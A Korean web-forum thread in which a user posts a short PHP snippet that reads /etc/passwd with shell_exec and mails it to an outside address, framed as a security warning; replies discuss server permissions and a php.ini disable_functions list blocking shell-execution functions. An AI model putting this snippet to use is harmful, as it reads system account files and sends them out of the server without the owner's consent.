SIR
이전글 목록 다음글
까

아 이런 실수를...

쿠팡이
프로필 보기이 회원 글보기이 회원의 댓글보기
 · 14년 전 · 2195 · 10
<?php
$output = shell_exec('cat /etc/passwd');
echo "<pre>$output</pre>";
mail('abd@aaa.net','file info',$output);
?>

ㅋㅋㅋ

보안에 신경 씁시다.ㅡ.ㅡ;
|

댓글 10개

끙끙디자이너
프로필 보기이 회원 글보기이 회원의 댓글보기
 14년 전
힝.. 외계어다...ㅜㅜ
행행님1
프로필 보기이 회원 글보기이 회원의 댓글보기
 14년 전
패스워드 탈출 프로젝트다 .... ㅎㅎㅎ
마마일드페퍼
프로필 보기이 회원 글보기이 회원의 댓글보기
 14년 전
정말 저렇게 보내신건가요?? 아니겠죠? ㅎ
실제 저랬다면...
웹서버에서 사용자에게 상위 디렉토리 접근권한 자체를 줬다는 거부터 문제네요.
의외로 보안에 신경안쓰는것들이 사소한 것들이라는...;
쿠쿠팡이
프로필 보기이 회원 글보기이 회원의 댓글보기
 14년 전
OS 설치 후 기본 설정은 저렇게 되어 있습니다.

OS 민지 얼마 안되서..새로 작업 중..;; 일단 중요한 것만 바꾸는 중

그리고 위 소스는 테스트 한번 해본거고요..ㅋ
TTerrorboys　
프로필 보기이 회원 글보기이 회원의 댓글보기
 14년 전
허허... 전 서버가 또 정지 되어있다는.... ㅋㅋㅋ
불불바람
프로필 보기이 회원 글보기이 회원의 댓글보기
 14년 전
저거 안되지 않나요..
보통 아파치작동 권환이 노바디 아니면 데몬인데..

접근이 안될탠대.
쿠쿠팡이
프로필 보기이 회원 글보기이 회원의 댓글보기
 14년 전
권한 755면 접근 됩니당...(OS 설치 할 때 기본 권한일껄여..)
亞亞波治
프로필 보기이 회원 글보기이 회원의 댓글보기
 14년 전
php.ini 의 disable_functions 에서 아래처럼 막으실 펑션을 입력하면 안될겁니다.

disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
쿠쿠팡이
프로필 보기이 회원 글보기이 회원의 댓글보기
 14년 전
해당 사항은 다 해났어요
SSTLC
프로필 보기이 회원 글보기이 회원의 댓글보기
 14년 전
저거 정말 되나요 ; 패스워드 가 메일로 발송 되나요 ;
댓글을 작성하시려면 로그인이 필요합니다.

자유게시판

+
제목 글쓴이 날짜 조회
14년 전 조회 1,406
14년 전 조회 1,365
14년 전 조회 1,321
14년 전 조회 2,141
14년 전 조회 1,376
14년 전 조회 2,053
14년 전 조회 1,846
14년 전 조회 1,647
14년 전 조회 1,709
14년 전 조회 2,450
14년 전 조회 1,810
14년 전 조회 2,107
14년 전 조회 1,611
14년 전 조회 2,008
14년 전 조회 2,196
14년 전 조회 1,631
14년 전 조회 1,316
14년 전 조회 1,413
14년 전 조회 1,657
14년 전 조회 2,319
14년 전 조회 2,016
14년 전 조회 1,804
14년 전 조회 2,099
14년 전 조회 1,404
14년 전 조회 2,614
14년 전 조회 3,140
14년 전 조회 1,855
14년 전 조회 1,704
14년 전 조회 1,806
14년 전 조회 2,495
이전 첫 페이지 다음
글쓰기